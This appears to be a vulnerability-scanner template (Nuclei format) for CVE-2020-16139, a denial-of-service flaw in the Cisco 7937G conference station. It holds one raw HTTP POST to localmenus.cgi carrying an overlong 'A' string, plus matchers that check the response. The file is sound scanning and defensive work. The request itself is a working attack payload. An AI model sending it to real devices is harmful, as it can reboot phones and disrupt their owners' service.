id: CVE-2020-16139

info:
  name: Cisco 7937G Denial-of-Service Reboot Attack
  author: pikpikcu
  severity: high
  description: |
    A denial-of-service in Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers restart the device remotely through sending specially crafted packets. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
  reference:
    - https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
    - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
    - https://www.blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
    - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-16139
  tags: cve,cve2020,dos,cisco

requests:
  - raw:
      - |
        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: header
        words:
          - "application/xml"
      - type: word
        words:
          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'